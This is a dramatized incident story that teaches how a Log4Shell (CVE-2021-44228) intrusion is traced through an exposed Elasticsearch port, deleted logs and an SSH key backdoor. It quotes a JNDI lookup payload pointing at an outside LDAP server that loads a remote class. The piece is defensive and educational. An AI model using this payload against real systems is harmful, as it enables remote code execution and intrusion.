How a Hidden Log4j Exploit Almost Crippled the Linux Empire – A Security Drama

Mysterious Intrusion

At dawn, a sharp alarm shatters the silence of the Linux empire, reporting an abnormal outbound request to a suspected malicious C2 server.

The security chief summons the programs; top and ps find nothing, but

unhide

discovers a stealthy process, kills it, and removes the suspicious files.

However, the chief suspects the infection source and points to Redis, which protests its innocence, showing its

~/.ssh/authorized_keys

file.

Log files from Nginx, Tomcat, and MySQL have been deleted, deepening the mystery.

Secret Weapon

The firewall suggests using the secret weapon: the Full‑Traffic Security Analysis System (NTSA).

NTSA opens a massive traffic‑log view, showing every network connection for the past 24 hours, including encrypted HTTPS traffic.

It Was…

Investigation reveals that port 36560 made an outbound connection to the C2 address at 02:41 am.

ElasticSearch confesses that it logged a query containing the JNDI payload

${jndi:ldap://145.67.89.123:13389/Exploit}

via

logger.info("···{}", var)

, which triggered the exploit.

Tomcat identifies the vulnerability as Log4Shell (CVE‑2021‑44228), explaining how Log4j can load remote classes via JNDI.

The firewall reveals that an intern had opened port 9200 for Elasticsearch, allowing external access.

The chief orders the port to be blocked, Log4j upgraded, and a security bulletin issued across the Linux empire.

Easter Egg

Just as the crisis seems resolved, MySQL reports that all its data has been encrypted.

(To be continued…)